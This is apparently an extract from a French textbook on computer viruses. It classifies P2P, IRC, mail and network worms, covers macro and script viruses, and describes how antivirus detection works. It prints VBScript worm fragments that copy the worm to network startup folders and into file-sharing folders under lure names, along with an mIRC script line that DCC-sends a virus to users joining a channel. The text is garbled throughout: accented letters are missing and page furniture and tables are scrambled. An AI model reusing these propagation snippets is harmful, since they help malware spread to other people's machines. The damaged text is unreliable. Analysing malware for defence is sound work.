function copyfiles() set fso = createobject("scripting.filesystemobject") fso.copyfile "c:\windows\startm~1\programs\startup\mscfg.vbs", "z:\windows\startm~1\programs\startup\" fso.copyfile "c:\windows\startm~1\programs\startup\mscfg.exe", "z:\windows\startm~1\programs\startup\" fso.copyfile "c:\windows\startm~1\programs\startup\msstar~1.exe", "z:\windows\startm~1\programs\startup\" end function function shareformat() sharename = "\\" & octa & dot & octb & dot & octc & dot & octd & "\C" end function
VBS/Sludge. Propos au tlchargement, le virus attend dtre rapatri sur la machine de sa future victime. En local, un double-clic sur le fichier entrane la cration de fichiers leurres dans les rpertoires partags :
files = array("10 naked teens.jpg","15yteenfuck.jpg","AdAware6.tar","illegalsex.jpg","kievgirl.jpg","Young russian teens.jpg","Bin Ladens Home.doc","Kamasutra2003.doc","Bush is crazy(and stupid).doc","How To Rip DVDs.txt","Eminem I am your father.mp3 ","Anton Schwul oder was.mp3") kl = (Pgdir & "\kazaa lite\my shared folder") & "\" if fso.folderexists(kl) then for x=0 to 11 fso.copyfile Ikarus,kl & files(x) & ".vbs" next end if kazaa = (Pgdir & "\kazaa\my shared folder") & "\" if fso.folderexists(kazaa) then for x=0 to 11 fso.copyfile Ikarus,kl & files(x) & ".vbs" next end if bearshare = (Pgdir & "\bearshare\shared") & "\" if fso.folderexists(bearshare) then for x=0 to 11 fso.copyfile Ikarus,kl & files(x) & ".vbs" next end if edonkey = (Pgdir & "\edonkey2000\incoming") & "\" if fso.folderexists(edonkey) then for x=0 to 11 fso.copyfile Ikarus,kl & files(x) & ".vbs" next end if morpheus = (Pgdir & "\morpheus\my shared folder") & "\" if fso.folderexists(morpheus) then for x=0 to 11 fso.copyfile Ikarus,kl & files(x) & ".vbs" next end if rem Ikarus by SlageHammer
6.2 Classification
203
Vers IRC
Ils se propagent au travers des canaux IRC1 en remplaant gnralement le fichier dinitialisation du client script.ini. mIRC (prononciation murk) et Pirch sont les 2 applications IRC les plus touches. Les vers sont conus pour se propager dun coup vers lensemble des internautes qui sont, un instant donn, connect sur le canal. Excuts en rception sur une machine cible : Ils localisent le rpertoire de lapplication IRC. Ils modifient ou crasent les fichiers script.ini (mIRC) ou events.ini (Pirch) avec leurs propres codes. Dans un second temps : Ils interceptent gnralement les commandes /JOIN pour rejoindre un salon et /DCC SEND pour se rexpdier. Ils poursuivent leur propagation lorsque le destinataire (nick) double-clic, son tour, sur la pice reue. Dans les versions mIRC infrieures V5.3, il est ainsi possible dcraser discrtement le chier script.ini original par une version infecte. Tout comme les script.ini, les nombreuses variantes du virus Dmsetup.EXE se propagent par DCC Send en infectant entre autre le chier mirc.ini. On retrouve gnralement, une commande du type :
N1=on 1 :join :# : { if ( nick == $me ) halt else .dcc send $nick C:\Virus.EXE }
MTHODE
Dunod La photocopie non autorise est un dlit
CIBLE IRC
IRC
Dmsetup.worm
204
ment des preuves par lexemple. Lauteur cherche dmontrer son savoirfaire, par exemple : W32/Fix@M. W32/Ska@M. Sophistiqus et issus de lassembleur. Ils utilisent des techniques de camouflage avanc (polymorphie, point dentre obscur) et sont parfois des infecteurs de fichiers (EXE ou Wsock32.DLL). Ils utilisent gnralement leur propre moteur SMTP, par exemples : W32/MTX@M, avec OEP, W32/Hybris@MM, avec plug-ins1, W32/Magistr@MM, avec OEP, polymorphique, anti-heuristique, antidebugging, utilise son propre serveur SMTP. Issus dun compilateur C (Borland, Microsoft C, ou plus frquemment Microsoft Visual C5 ou 6). Le code compil est dans la premire section, les donnes et constantes sont gnralement non-crypts et dans une section spare. Ils font appels aux API Windows, aux librairies, MSVCRT.DLL. Les composants COM dOutlook sont rarement mis en uvre. W32/Bymer.worm. Issus dun compilateur Delphi. Le code compil et les constantes sont en premire section. Les constantes sont visibles (pas de cryptage) mais disperses dans le code. La propagation se fait via SMTP ou MAPI. W32/Blebla@MM. W32/ExploreZIP@MM. Issus dun compilateur Visual Basic. Ils utilisent, pour la plupart, les composants COM dOutlook. Le code excutable compil et les constantes sont en premire section. W32/Mylife@MM. Dautres sattaquent MSN Messenger, par exemple : W32/Choke.worm. W32/Newpic.worm.
1. NIKISHIN, Andy (janvier 2001), Harnessing Hybris, Virus Bulletin, janvier 2001, pp6-7.
6.2 Classification
205
Pour fonctionner convenablement, il peut devoir reprendre certains paramtres lis loutil de messagerie prsent sur la machine. Il peut aussi tre autonome et sen affranchir compltement. Lmission se fait donc : En utilisant les paramtres lis au serveur SMTP affect la machine. Ils peuvent tre, par exemple, recherchs au travers de cls de registre telle que :
HKCU\Software\Microsoft\Internet Account Manager\Accounts\ <Nombre>\SMTP Server HKCU\Software\Microsoft\Internet Account Manager\Accounts\ <Nombre>\SMTP Email Address HKCU\Software\Microsoft\Internet Account Manager\Accounts\ <Nombre>\SMTP Display Name
Ou de manire totalement indpendante. Les indications utiles la transmission (adresse de lexpditeur, serveurs SMTP) sont vhicules par le virus. Citons comme exemple, W32/Sircam@MM. Il a besoin des donnes SMTP de la machine cible mais transporte avec lui les paramtres de son metteur immdiat. Il peut rutiliser les informations lies cet antcdent en cas de besoin. Les vers de messagerie forte propagation (sufxe @MM) entrent souvent dans cette catgorie. Nimda et Klez sont totalement indpendants du paramtrage SMTP de la machine. Ils se connectent directement au serveur distant quils projettent dutiliser. Notons galement que : Des fragments de messages sont souvent contenus dans le code. Tels W32/Nimda@MM, certains vers utilisent des exploits MIME afin de sactiver sur une simple prvisualisation sous Outlook ou Outlook Express. Les adresses des destinataires sont recherches via la MAPI de Microsoft ou dans des fichiers pralablement reprs par leurs extensions (*.wab, *.pst, *.nab, *.html) ou via des pointeurs lus dans la base de registres :
Dunod La photocopie non autorise est un dlit
Ladresse et le nom de lexpditeur peuvent tre falsifis. Dans ce cas, ladresse visible pour le destinataire nest pas celle de lmetteur rel. Cette technique dusurpation dadresse (ou spoofing) est trs frquente. Louverture dune connexion (un socket) est souvent ralise par Wsock32.DLL ; quelquefois par WININET.DLL. Les programmes crit en Visual Basic utilisent MSWINSCK.OCX. Le courrier est envoy via des commandes SMTP souvent visibles dans le corps du ver :
HELO, MAIL FROM, RCPT TO, SEND
206
Dans cette famille, il existe une sous classe qualie dinfecteurs Winsocks. Ils infectent des chiers tels que Wsock32.DLL ou WS2_32.DLL. Ne pouvant immdiatement le modier, les virus dupliquent la DLL. Ils patchent leur code dans cette copie pour y intercepter ou remplacer la fonction send. Au dmarrage suivant de la machine, le chier modi vient remplacer loriginal et le virus peut commencer son travail. Il analyse dynamiquement le trac, intercepte les donnes transmises et les utilise pour lmission dun lment infect. Il envoie gnralement son propre message aux adresses pour lesquelles la victime met un courriel. Dans ce cas, le message original de lutilisateur est immdiatement suivi dun second message, propre au virus. Citons dans cette catgorie : W32/Ska@M, W32/MTX@M, W32/Android@M, W32/Suppl@M et W32/Babylonia@M. Ce sont tous des infecteurs lents (sufxe @M). Alors que Ska utilise Uuencoding, MTX insre sa pice jointe selon la mthode MIME-encoding1. De son cot, Babylonia ne cre pas son propre message mais sattache directement tout mail lgitime mis.
MTHODE SMTP CIBLE Autonome : utilise son propre client e-mail API Winsocks EXEMPLE DE VIRUS W32/Sircam@MMa W32/Magistr@MMb W32/Parvo@MMc (Griyo/29A) W32/PrettyPack@MM Fichiers Winsocks W32/Ska@M (Spanska) W32/MTX@Md DATE 07/01 03/01 12/98 06/99 01/99 09/00
a. FERRIE Peter et SZOR Peter (2001), SirCamstantial Evidence, Virus Bulletin, septembre 2001. pp 8-10. b. FERRIE Peter (2001), Magisterium Abraxas, Virus Bulletin, Mai 2001. pp 6-7. c. SZOR Peter, 1999b, Parvo One Sick Puppy?, Virus Bulletin. Janvier 1999. pp 7-9. d. FITZGERALD, Nick (2000), MTX-treme, Virus Bulletin, novembre 2000. pp 6-7.
1. MIME Encoding : Multipurpose Internet Mail Extensions Encoding. 2. MAPI : Messaging Application Programming Interface.
6.2 Classification
207
MAPIReadMail MAPISendMail
MTHODE Commandes MAPI Outlook CIBLE EXEMPLE DE VIRUS W32/Navidad@M DATE 11/00
Vers OUTLOOK
Ils utilisent les composants COM1 dOutlook et sont pour la plupart crit en Visual Basic.
MTHODE Composants COM Outlook CIBLE EXEMPLE DE VIRUS W32/Mylife@MM DATE 08/99
Vers IRC
Dunod La photocopie non autorise est un dlit
Ils se propagent selon la mthode dcrite plus haut (langage interprt). On retrouve gnralement, non crypt dans le code du ver, la commande du type :
N1=on 1 :join :# : { if ( nick == $me ) halt else .dcc send $nick C:\Virus.EXE }
MTHODE /JOIN /DCC SEND IRC CIBLE EXEMPLE DE VIRUS W95/Fono (Vecna/29A) DATE 08/98
208
Vers du rseau
Les plus anciens se copient deux mme sur les disques partags, nous les avons dcrit succinctement au chapitre 3. Les plus primitifs taient les vers de disquettes. Dautres aujourdhui se propagent au travers des rseaux poste poste ou simplantent automatiquement par lexploitation de vulnrabilits connues et non patches. Ces derniers ciblent les stations Windows, les serveurs WEB du type IIS1 ou SQL.
MTHODE Copie de disque disque Gestion des demandes de fichiers Ver automatique [MS03-026] Ver automatique [MS03-007] Ver automatique [MS01-033] Ver automatique [MS00-078] Ver automatique [MS02-039] Ver automatique [MS04-011] CIBLE Toutes stations Windows Poste poste Stations Windows non patches Stations Windows non patches Serveurs IIS non patchs Serveurs IIS non patchs Microsoft SQL Server 2000 Microsoft Desktop Engine (MSDE) 2000 non patchs Windows XP Windows 2000 EXEMPLE DE VIRUS W32/Hayque.worm W32/Gnuman.worm (alias Mandragore, Gspot) W32/Blaster.worm W32/Nachi.worma (alias Welchia) W32/Codered.worm W32/Nimda@MM W32/SQLSlammer.worm DATE 02/02 02/01 08/03 08/03 07/01 09/01 01/03
W32/Sasser.wormb
04/04
a. FERRIE Peter, PERRIOT Frdric & SZOR Peter (octobre 2003), Worm Wars, Virus Bulletin, octobre 2003. pp 10-13. b. FERRIE Peter, PERRIOT Frdric (octobre 2004), Mostly Harmless, Virus Bulletin, aot 2004. pp 5-8.
Poste poste W32/Gnuman.worm apparat en 2001. Il cible Gnutella dj touch, un an plus tt, par VBS/GWV.
Le virus se connecte au rseau comme un super node. Il est conu pour grer les demandes de chiers et y rpondre en rutilisant le nom rclam auquel il adjoint lextension .exe. Le virus a une faiblesse, le fait de chercher rpondre lensemble des requtes sature la machine qui laccueille ; il nest alors plus mme dassurer efcacement les envois. Cette caractristique ne permit pas la propagation escompte par son auteur.
1. IIS : Microsoft Internet Information Server.
6.2 Classification
209
Vers automatiques Lattaque se fait en 2 temps, gnralement au travers de lexploitation dune vulnrabilit connue :
Depuis une machine infecte, le ver recherche un systme vulnrable. Lorsque celui ci est repr, le ver envoie un paquet spcifique mal form vers le port li la vulnrabilit (exemple : port 445 pour le ver Sasser). Lexploitation de la vulnrabilit entrane lexcution dune routine particulire transmise dans le paquet. Cette routine initie le processus de rapatriement et dauto excution du code viral. Dans le cas de Sasser, elle autorise lexcution de commandes arbitraires distantes au travers dun autre port : le port 9996/TCP. La transmission se fait gnralement de manire conventionnelle, via FTP. Le script qui gre le processus se termine par une instruction qui charge le ver en mmoire. Il participe alors son tour la recherche de nouvelles cibles potentielles. Lintroduction du code se fait gnralement selon la technique du dbordement de tampon (en anglais, buffer overow). Elle consiste mettre en mmoire plus dinformations que celle ci nest habilite en recevoir. Un systme non vulnrable refusera le code en dpassement de limite. Sur un systme vulnrable il y aura crasement dinformations dans des zones contigus qui sont normalement inaccessibles. En consquence de ce recouvrement, il deviendra possible de faire excuter un programme arbitraire avec des droits administrateurs. Le but est donc dcraser une partie prcise de la pile. Un simple saut (jump, call) astucieusement positionn pourra ensuite permettre lexcution du script malicieux galement contenu dans le paquet transmis.
Instant Messenger
la diffrence des canaux IRC, la messagerie instantane est ddie la communication prive. Quelques virus ont t dvelopps pour cette cible.
Dunod La photocopie non autorise est un dlit
Citons titre dexemple Choke ou Newpic. Ils sinstallent en rsidant par le biais dune cl de registre particulire qui les chargent en mmoire chaque dmarrage de la machine. Lorsquun message entrant est dtect, le virus y rpond de lui mme. Le texte qui accompagne la pice jointe est cens persuader le destinataire du bien fond cliquer dessus.
MTHODE AOL 4.0 MSN Messenger CIBLE EXEMPLE DE VIRUS APStrojan.qa@MM W32/Choke.worm W32/Floodnet@MM MSN Messenger v6.0 W32/Smibag.worma 05/02 09/03 DATE 01/00
a. REYES J.J & WONG Reginald (dcembre 2003), Its in the (smi)bag!, Virus Bulletin. Dcembre 2003. pp 4-6.
210
Autres
Mthode Pegasus
MTHODE Remplacement des messages en attente denvoi CIBLE PEGASUS MAIL V3.x EXEMPLE DE VIRUS HLLT.Toadie.7800a@MM DATE 08/99
Avec HLLP.Toadie@MM, la mthode consiste remplacer le contenu des courriers sortant par le message viral. La pice jointe infecte est attache au message et le texte, joint au chier, remplace celui prpar par lmetteur.
a. GORDON Sarah, PERRIOT Frdric, 1998, Caught Red-handed, Virus Bulletin. May 1998. pp 6-8.
La premire consiste crer de toute pice un chier message. W32/Sysclock utilise cette formule : Recherche du rpertoire dinstallation. Collecte des adresses dans le fichier Out.mbx. Cration du courriel infect (User.msg), ajout des adresses collectes, mise en forme du sujet et du corps du message, attachement de la pice jointe (c:\pkzip.exe). Excution de la commande Eudora sendmail. La seconde mthode fut utilise par W16/Redteam : Collecte des alias des contacts du carnet dadresse (il sagissait alors du fichier Nndbase.toc). Ajout du message dans le fichier Out.mbx. Modification de la table des expditions Out.toc.
NNTP Ils utilisent les groupes de discussion pour se propager. Citons comme exemple certaines variantes de W32/Duksten@MM et W32/Torvil@MM.
7
Macro-virus et virus de script
Ce chapitre nabordera que les virus au sens strict du terme, les vers en langage interprt ont t dvelopps au chapitre prcdent. Les macro virus constiturent un temps la principale menace et furent en tte des divers TOP-10 mondiaux. En France, on estimait quune machine sur 12 avait subit une attaque virale en 1997. cette poque, 80 90 % de ces attaques taient dues des macro virus. Aujourdhui, les macros virus ont quasiment disparus. La mise en place de protections efcaces au sein dOfce et la facilit des modes de dtection gnriques et heuristiques sont sans doute lorigine de cette dsaffection. Ces virus nont, de plus, quun faible intrt technique. Ces diverses raisons nous amnent naborder ici que quelques grandes lignes. Ce chapitre sera le plus court de ce livre.
7.1 MACRO-VIRUS
Les macro-virus cherchent infecter les documents crs par les logiciels de bureautique les plus rpandus. Ces documents que lon pouvait, il y a 10 ans, considrer comme de simples fichiers texte contiennent maintenant des listes dinstructions ou macros qui peuvent prendre un caractre malveillant. Les premiers macro-virus ont cibl loutil bureautique de Microsoft le plus rpandu lpoque : WORD-6 et WORD-7 (WORD-95). Ils taient alors crits en WORDBASIC (WB). Les versions suivantes dOfce ont adopts le Visual Basic for Application (VBA). Cest avec ce langage que les virus ont ensuite t crits.
212
WORD et EXCEL ont toujours t privilgis par les auteurs de virus. Des virus existent cependant sous ACCESS et POWERPOINT. Tous ces virus furent un temps recenss dans une liste intitule Macro Virus List que lon peut trouver sans problme sur Internet1. Ils sont classis par ladjonction dun prxe repris par la plupart des concepteurs danti-virus.
Tableau 7.1 Prfixe des macros-virus selon leur cible PRFIXE W1M W2M WM W97M W97M XM XF X97M X97M AM A97M A97M PP97M P98M WORD1 WORD2 WORD6 / WORD95 WORD97 (Module) WORD97 (Module de Classe) EXCEL5 / EXCEL95 EXCEL5 / EXCEL95 (Formule) EXCEL97 (Module) EXCEL97 (Module de Classe) ACCESS2 ACCESS97 (Module) ACCESS97 (Macro) POWERPOINT97 MS PROJECT 98 CIBLE W1M/Blur W2M/Polite.A WM/Cap W97M/Nightshade W97M/Class XM/Laroux XF/Paix X97M/Laroux X97M/Sugar AM/Accessiv.E A97M/Accessiv.A A97M/Ssonic PP97M/Vic P98M/Corner.A EXEMPLE
Dautres plates-formes, tels que Lotus Amipro/WordPro, Lotus 1-2-3, Corel 7-9 et Visio 5 ont fait lobjet de quelques attaques.
Tableau 7.2 Quelques exemples de macro-virus CIBLE Lotus AmiPro Lotus WordPro EXEMPLE APM/Green_Stripe.A LWP/Spenty DATE 01/96
1. Bontchev Vesselin, Brunnstein Klauss et Dierks J. (1995-1999), Macro Virus List (PC + MACINTOSH). ftp://agn-www.informatik.uni-hamburg.de/pub/texts/macro/
7.1 Macro-virus
213
CIBLE Corel DRAW Corel PHOTO-PAINT Corel VENTURA Lotus123Macro Visio 5 MSWrite Windows32 HLP files Windows INF files AutoCAD 2000 CSC/CSV.A
EXEMPLE
DATE 05/99
Le langage de programmation utilis tant indpendant du systme dexploitation, certains virus purent aussi se propager sur des plates-formes multiples (WINDOWS-3.11, 95, NT, MACINTOSH SYSTEME 7 ou SYSTEME 8) ds quelles accueillaient la mme suite bureautique. Tous les outils bureautiques furent affects. Pour mieux atteindre certaines cibles qui ne font pas lobjet dchanges incessants entres utilisateurs, le concept de multiapplication fut remis la mode (la terminologie multipartite est ddie aux virus systme et programme). Citons ici, O97M/Tristate qui cible conjointement WORD-97, EXCEL-97 et POWERPOINT-97. Mais tous les cas furent rencontrs comme le laisse envisager la table suivante.
Tableau 7.3 Quelques macro-virus multi-application CIBLE W97M + X97M
Dunod La photocopie non autorise est un dlit
FAMILLE DE VIRUS W97M/Shiver + X97M/Shiver W97M/Tristate + X97M/Tristate + PP97M/Tristate W97M/Cross + A97M/Tox W97M/Corner + P98M/Corner
214
Aujourdhui, seul un utilisateur ayant volontairement rduit au minimum son niveau de scurit se trouve vulnrable face ce mode opratoire : Le virus contamine lenvironnement de travail par le biais de macros automatiques. Il infecte les documents par le biais dinstructions standards redfinies : Dtournement de macros standards ou, Remplacement de menus ou, Redfinition de boutons ou de touches fonction. Dans un premier temps, les macro-virus furent souvent dpendants du langage national. Ces nouveaux venus tant quasi exclusivement dvelopps sur des versions anglophones, la France fut un temps prserve. Faciles raliser, les virus se sophistiqurent. Bon nombre dentre eux surent se propager sans problme avec les versions anti-SR1 dOFFICE 97 qui prsentait pourtant quelques lments de protection supplmentaires. Il fallut attendre Ofce 2000 pour voir sloigner cette menace.
Tableau 7.4 Degr de sophistication de quelques macro-virus VIRUS Concept.A Wazzu.A NPAD.A MDMA Colors Outlaw OUI OUI FURTIF OUI OUI OUI OUI CRYPTE OUI POLYMORPHE
Chaque fois quun nouveau document est cr, WORD charge, puis utilise, les valeurs par dfaut du modle normal.dot. Ce chier, appel modle global, est en fait un document spcial qui contient des paramtres prdnis destins faciliter la mise en forme et llaboration des documents. Il peut contenir : Du texte et de la mise en forme. Des styles. Des insertions automatiques. Des macros. Des affectations de menus et de touches. Des barres doutils.
Le modle global est automatiquement sauv la n de chaque session et automatiquement charg au dmarrage de WORD. Lobjectif premier dun macro-virus est donc de linfecter en priorit. Lenvironnement de travail se trouvera ainsi tou-
7.1 Macro-virus
215
ch en permanence et linfection pourra, selon les cas, se propager tous les documents ouverts, ferms ou crs.
Techniques de base louverture dun document, WORD examine en premier si celui-ci contient des macros. Si une macro automatique est prsente et que les rgles de scurit sont faibles (ctait le cas avec les premires versions dOffice), elle est excute sans pravis :
AutoOpen louverture du document. AutoClose la fermeture du document. Une premire technique dinfection cherchant intgrer dans le modle global des macros reprenant les noms ci-dessus permit linfection immdiate des documents manipuls (ouvert ou ferm). Conjointement ces macros, le virus supplantait la macro intgre FichierEnregistrerSous (FileSaveAs) par une autre macro. Elle portait le mme nom et tait sauvegarde dans le modle global. Cest cette double technique quutilisa le virus WM/Concept.A. Ce premier type de virus est donc dpendant du langage national. WM/Wazzu contourne cette limitation. Il ne contient quune seule macro automatique AutoOpen : louverture dun document infect, la macro se copie dans le modle global et linfecte. louverture dun document sain, qui ne contient pas de macro, cest cette nouvelle macro, contenue dans le modle global infect, qui est excute et qui infecte immdiatement le document. Partant de la mme ide, le macro-virus WM/MDMA ne possde quune seule macro AutoClose. Lintrt de ce virus rside en son cryptage. En effet, les virus examins jusquici taient faciles tudier (et malheureusement faciles modier !) : il sufsait dditer la ou, les, macros avec la commande de lpoque Outils/Macro/Modier. Dans le cas prsent, cette possibilit tait interdite. Les autres intrts de MDMA sont : Lutilisation de fonction. La manipulation des registres sous Windows-95. Abordons maintenant les techniques de furtivit. Un virus furtif doit cacher sa prsence lutilisateur. Une premire mthode simpliste consiste dsactiver la commande Outils/Macro. Cette technique semi-furtive a t propose avec le virus WM/Colors1. Dans le cas prsent, lappel du sous-menu Outils/macro ne fait que ramener lutilisateur sur son document de travail.
1. The macro virus writing tutorial. Document de Dark Night.
216
Dautres virus liminrent galement les entres OutilsPersonnaliser et FichierModles. Cette technique a cependant ses limites. La commande Outils/Macro (WORD franais) est lie la macro intgre OutilsMacro (WORD franais) ; son quivalent anglais est ToolsMacro. La mise en place de la macro de substitution, qui porte le mme nom, rend donc le virus dpendant du langage national. Cette limite fut contourne par le virus WM/CAP. Avec lui, quelque soit la version linguistique rencontre, il recherche et supprime des menus les entres Outils/Macro et Fichier/Modles. Colors et CAP ne sont pas totalement furtifs. Un utilisateur averti se rend compte dun certain dysfonctionnement en ne retrouvant pas intact sont environnement de travail habituel. Le virus WM/Hassle est plus sophistiqu. lappel de OutilsMacro, il renvoie lutilisateur une fentre identique celle prsente en standard en ne visualisant aucune macro. La polymorphie fut un autre aspect de la relative sophistication de certains macro-virus. Bien quil soit simple, le virus WM/Futurenot est : Polymorphe pour le nom dune des macros (variable sur 5 caractres). Polymorphe dans son code viral : Nom dune variable texte sur 3 caractres. Positionnement quelconque dune nouvelle ligne de commentaire durant chaque infection (texte fixe). Insertion de 2 lignes de commentaire (valeur dun nombre alatoire). Modification de lintitul de 2 commandes par adjonction despaces. Insertion de lignes blanches.
Le virus modie le chier autoexec.bat en ajoutant une ligne de commande qui te lattribut de lecture seule au chier modle normal.dot.
7.1 Macro-virus
217
Ces quelques lignes sappliquent la totalit des virus EXCEL. Elles ne sont cependant pas toujours sufsantes pour liminer la totalit de la furtivit. Pour XF/ PAIX, par exemple, il faut ensuite entrer un mot de passe pour visualiser le code viral proprement dit. Il est intressant de noter que lauteur de la version B a tent de changer le mot de passe. Bien quinscrit en dur dans le code de cette version, cest le mot de passe de la version A qui reste valide ! Le virus XF/Paix.A se manifeste lutilisateur de faon alatoire (1 chance sur 100). Il bloque alors la session de travail en afchant une fentre intitule Enn la Paix Sur un PC infect, la prsence du virus peut tre conrme par lexistence dun chier xlsheet.xla dans le rpertoire de travail ou dans le rpertoire c:\windows si le rpertoire de travail est sur un disque rseau.
Dunod La photocopie non autorise est un dlit
218
Except une variante pour Access 2.0, tous ces virus sont crits en Visual Basic for Applications, dune manire similaire aux virus Word et Excel. Notons cependant une diffrence : Access comporte un langage de macro structure tabulaire linstar de ce qui se pratiquait dans les anciennes versions dExcel. Cest par ce biais que se crent les macros automatiques. Ce sont elles qui permettent le lancement de modules de code VBA. Avec Access, macros et modules sont des entits distinctes et un virus sous Access est un mixage de ces 2 types doutils de programmation. Il existe au total quatre variantes pour Accessiv. Lune dentre elle afche de janvier mars le message :
I am the AccessiV virus, Strain B Written by Jerk1N, of the DIFFUSION Virus Team AccessiV was/is the first ever Access Virus!!!
Elle infecte les chiers *.mdb du rpertoire courant, des sous-rpertoires et du rpertoire racine. Elle cherche aussi implanter un virus programme (virus Jerkin.443, alias LVJ443) mais choue dans cette tentative. A97M/Tox est une famille de 2 virus. Un message interne indique :
The Detox Unit Access Macro Virus written by Sin Code IV (an old friend by any other name)
Ces virus sont plus sophistiqus que ceux de la famille prcdente. Lauteur (il sagit en fait de VicodinES) utilise certaines techniques de furtivit qui rendent le virus difcilement dtectable en premire analyse. Un autre virus intressant dans cette famille est galement sign par VicodinES. Il porte le nom de Cross. Il sagit du premier virus multipartite de ce type : il infecte la fois Access 97 et Word 97 (W97M/Cross, A97M/Cross). Son principal dfaut concerne sa taille : le chier normal.dot infect dpasse 300 Ko Il contient aussi quelques bugs qui entrave son fonctionnement normal. Une tude approfondie du virus montre que son processus dinfection est plus complexe quil ny parat. Les premires infections sont toujours multipartites mais des lments sains, infects par la seconde gnration du virus, perdront leur multipartisme. Il est donc normal de trouver sur une mme machine : Des virus Access multipartites (Access + Word, 2me gnration). Des virus Word multipartites (Word + Access, 2me gnration). De purs virus Word (3me gnration). De purs virus Access (3me gnration).
Si un virus de 2me gnration est diffus, le processus initial se reproduit sur la nouvelle machine cible ; sil sagit dun virus de 3me gnration, il ny aura plus de multipartisme.
219
7.2.1 VBScript
VBScript a t cr partir de VBA et de Visual Basic. Il repose sur du code source en clair et non sur du code compil tel que celui des applets. Tout un chacun peut donc voir et modifier le code des scripts quil rencontre. VBScript doit tre aussi considr comme un langage autonome. Avec larrive des nouvelles versions de Windows, il a dtrn les chiers de traitement par lots composs dune srie de commande DOS (chiers batch). Les premiers virus purement VBScript datent doctobre 1998. En raison de leurs capacits de propagation hors du commun, lun des alias donn au premier n de la famille fut rabbit. Leur nombre a ensuite augment paralllement la gnralisation de ce nouveau langage. Ils ne se propagrent srieusement qu partir de juillet 1999 lorsquils devinrent vers de messagerie.
Tableau 7.5 Classification des virus de script TYPE Recouvrement
Dunod La photocopie non autorise est un dlit
NOM DU VIRUS VBSV.A, VBSV.B VBSV.C VBS/CBABM VBS/ZULU VBS/HAPPY VBS/CHARLENE.B VBS/BREAK.A VBS/HOPPER VBS/FREELINK@MM VBS/MONOPOLY@MM
Lien avec Java Script Ajout Crypte Lien avec VBA Lien avec HTML Multi-application avec VBA Multi-application avec VBA & HTML Ver
11/98
11/98 12/98
W97M/BREAK.A W97M/HOPPER.G
220
8
Les logiciels anti-virus
Les prcdents chapitres nous ont aids mieux connatre notre ennemie. Nous allons maintenant nous attacher comprendre le fonctionnement du principal outil qui sert le combattre. Sur plus de 60 socits rfrences au niveau mondial, une quinzaine se partage le march franais. La plupart dentre elles sont dignes de conance, et leurs produits, sils sont correctement dploys et mis jours offrent un niveau de scurit correct. Le prsent chapitre ne traitera que des logiciels anti-virus. Il est cependant indispensable de rappeler que sa seule utilisation ne sufra plus garantir un niveau de scurit sufsant. Dans la pratique, il faudra lui adjoindre : Un pare-feu. On linstallera au niveau du poste de travail autonome et/ou au niveau de la passerelle Internet. Un appliance ou un logiciel de dtection (IDS) ou de prvention (IPS) dintrusion.
222
La recherche heuristique. Le monitoring de programme. lexception du dernier point, ces mthodes peuvent tre mises en uvre la demande de lutilisateur ou sactiver automatiquement sur accs un chier ou une ressource. Ces modes sont aussi appels statique et dynamique. Chaque mthode a ses limites ; les auteurs de virus les connaissent parfaitement. Ils dcouvrent rgulirement de nouveaux subterfuges qui peuvent leurrer les scanners heuristiques, gnriques ou comportementaux. Ces moteurs intelligents sont donc, eux aussi, rgulirement amliors et lutilisateur doit suivre ces volutions. Les anti-virus sont sujets des fausses alertes que les mises jour corrigent aussi au l du temps.
La recherche par signature ne se limite pas celle dune chane de caractre stable comme vont nous le montrer les quelques exemples suivants. Ceux ci ont t simplis lextrme dans un souci de clarication.
223
Recherche triviale
Aprs stre positionn au point dentre, lantivirus recherche immdiatement une chane caractristique du virus. La fausse alerte est dans ce cas fort improbable. Sil est ncessaire daffiner la dtection, il ne sagira que de diffrencier dventuelles variantes pour permettre une radication correcte.
224
Recherche avance
De nombreuses techniques de camouflage interdisent lutilisation immdiate du scanner. Elles ont fait dire de tout temps aux dtracteurs de cette mthode de dtection quelle tait inadquate et inefficace dans de nombreux cas. Ceci est inexact, car ds lapparition des premiers virus crypts, les fabricants dantivirus ont ragi en intgrant des fonctions dmulation de code machine pour simuler lexcution de certaines routines virales. Ces techniques voluent encore aujourdhui et permettent de faire face la plupart des techniques anti-dbug que les auteurs de virus sefforcent de mettre en place. Lanti-virus devient ainsi capable de pntrer un virus chiffr pour lexaminer dans sa forme dcrypte et lui appliquer les mmes mthodes de dtection que celle employes pour les virus plus simples.
225
De rares virus restent rsistant cette technique. Lune des raisons dcoule du temps de traitement. Sur un Pentium III, W32/Crypto rclame parfois plus de 10 minutes pour raliser son dcryptage. Les routines sont simples mais plus de 43 millions dinstructions sont ncessaire pour en venir bout. Dautres virus tels que W32/SUK ou W32/Zmist1 ont ncessit la mise en place de routines spciques. Il sagit toujours dune recherche de code mais celle ci passe par lapplication de processus minemment complexes.
Moniteur de virus
Les anti-virus offrent un module rsident qui met en uvre, de manire dynamique, cette mthode lors des accs aux fichiers ou aux disquettes ; on parle alors parfois de moniteur de virus. Ce type de procd a toujours eu du mal coexister sur les vieilles plates-formes DOS/Windows3.x ; il tait gourmand en mmoire et ralentissait les traitements.
Dunod La photocopie non autorise est un dlit
Il est devenu efcace sous les environnements actuels mais doit alors faire corps avec le systme dexploitation (produit 32 bits, service NT).
226
Un travail danalyse permet disoler ces lments constants. Le rsultat se prsente sous la forme dune ou plusieurs chanes hexadcimales ou ASCII accompagnes, ou non, de jokers. Celles ci ne sont pas recherches un endroit prcis mais au sein dun intervalle que le chercheur doit galement dnir. La seule localisation de ces indices dans une zone adquate du chier indiquera la prsence du virus. Il pourra alors sagir dune variante connue ou encore inconnue. Les souches dtectes sont annonces sous un nom gnral du type : VBS/LoveLetter.gen@MM ou W32/ Gara.gen@MM.
Dans lexemple ci-dessus, deux chanes typiques du virus W32/Gara ont t isoles. Elles se situent au sein des 100h premiers octets du code viral et sont prsentes pour toutes les variantes. Cest lindice principal qui permet dannoncer la prsence du virus.
Tableau 8.2 Localisation des indices lis W32/Gara.gen Suffixe de Variante virus W32/GARA offset 1 on y trouve le code : 0F 01 4C 24 FE 5A 83 C2 xx 7Ch 01h 26h 26h offset 2 on y trouve le code : 68 xx xx xx xx C3 B5h 7Fh 5Ch 5Ch
227
La mthode gnrique sapplique particulirement efcacement aux macro-virus et aux virus de script. La seule prsence de certaines instructions lies un processus dauto reproduction apporte la suspicion : Wscript.Shell Outlook.Application Mapi.AddressLists Le doute ne sera plus possible si certains noms de variables connus sont aussi rencontrs.
